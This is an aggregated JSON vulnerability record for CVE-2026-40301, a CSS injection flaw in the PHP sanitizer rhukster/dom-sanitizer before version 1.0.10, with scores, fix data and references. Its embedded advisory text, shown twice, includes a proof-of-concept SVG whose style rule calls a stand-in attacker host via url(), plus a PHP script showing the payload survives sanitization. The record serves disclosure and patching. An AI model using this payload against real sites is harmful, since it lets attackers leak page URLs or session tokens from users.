{"id":"CVE-2026-40301","aliases":["EUVD-2026-23545","GHSA-93vf-569f-22cq"],"status":"published","title":"rhukster/dom-sanitizer: SVG \u003cstyle\u003e tag allows CSS injection via unfiltered url() and @import directives","description":"DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows \u003cstyle\u003e elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.","severity":{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00322,"percentile":0.25391,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-04-10T21:08:30Z","modified":"2026-10-28T02:30:20Z","fixes":[{"ecosystem":"Packagist","package":"rhukster/dom-sanitizer","fixed_in":["1.0.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"rhukster/dom-sanitizer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.10"}]}]},{"source":"osv","ecosystem":"Packagist","package":"rhukster/dom-sanitizer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.10"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9"]}],"products":[{"vendor":"rhukster","product":"dom-sanitizer"}],"references":[{"url":"https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40301","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-93vf-569f-22cq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40301.json","tags":["advisory"]},{"url":"https://github.com/rhukster/dom-sanitizer","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-40301","title":"rhukster/dom-sanitizer: SVG \u003cstyle\u003e tag allows CSS injection via unfiltered url() and @import directives","description":"DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows \u003cstyle\u003e elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.","status":"published","published":"2026-04-17T20:51:37.226Z","modified":"2026-04-20T14:57:39.192Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:43:11.445168Z"}],"euvd":[{"id":"EUVD-2026-23545","description":"DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows \u003cstyle\u003e elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.","status":"published","published":"2026-04-17T20:51:37Z","modified":"2026-04-20T14:57:39Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:22.446697Z"}],"ghsa":[{"id":"GHSA-93vf-569f-22cq","title":"rhukster/dom-sanitizer: SVG \u003cstyle\u003e tag allows CSS injection via unfiltered url() and @import directives","description":"### Summary\nDOMSanitizer::sanitize() allows \u003cstyle\u003e elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of \u003cstyle\u003e elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' =\u003e ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cstyle\u003e* { background: url(https://attacker.example/collect); }\u003c/style\u003e\n\u003c/svg\u003e\n```\n\n### PoC\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cstyle\u003e* { background: url(https://attacker.example/collect); }\u003c/style\u003e\u003c/svg\u003e';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer-\u003esanitize($svg);\necho $output; // \u003cstyle\u003e with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.","status":"published","published":"2026-04-10T21:08:30Z","modified":"2026-04-24T20:48:45Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:57.650091Z"}],"nvd":[{"id":"CVE-2026-40301","description":"DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows \u003cstyle\u003e elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.","status":"published","published":"2026-04-17T21:16:34.85Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:15.120927Z"}],"osv":[{"id":"CVE-2026-40301","title":"rhukster/dom-sanitizer: SVG \u003cstyle\u003e tag allows CSS injection via unfiltered url() and @import directives","description":"DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows \u003cstyle\u003e elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.","status":"published","published":"2026-04-17T20:51:37.226Z","modified":"2026-10-28T02:30:20.901808382Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:03.424067Z"},{"id":"GHSA-93vf-569f-22cq","title":"rhukster/dom-sanitizer: SVG \u003cstyle\u003e tag allows CSS injection via unfiltered url() and @import directives","description":"### Summary\nDOMSanitizer::sanitize() allows \u003cstyle\u003e elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of \u003cstyle\u003e elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' =\u003e ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n  \u003cstyle\u003e* { background: url(https://attacker.example/collect); }\u003c/style\u003e\n\u003c/svg\u003e\n```\n\n### PoC\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cstyle\u003e* { background: url(https://attacker.example/collect); }\u003c/style\u003e\u003c/svg\u003e';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer-\u003esanitize($svg);\necho $output; // \u003cstyle\u003e with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.","status":"published","published":"2026-04-10T21:08:30Z","modified":"2026-05-05T16:04:51.849718Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:43.123867Z"}]}}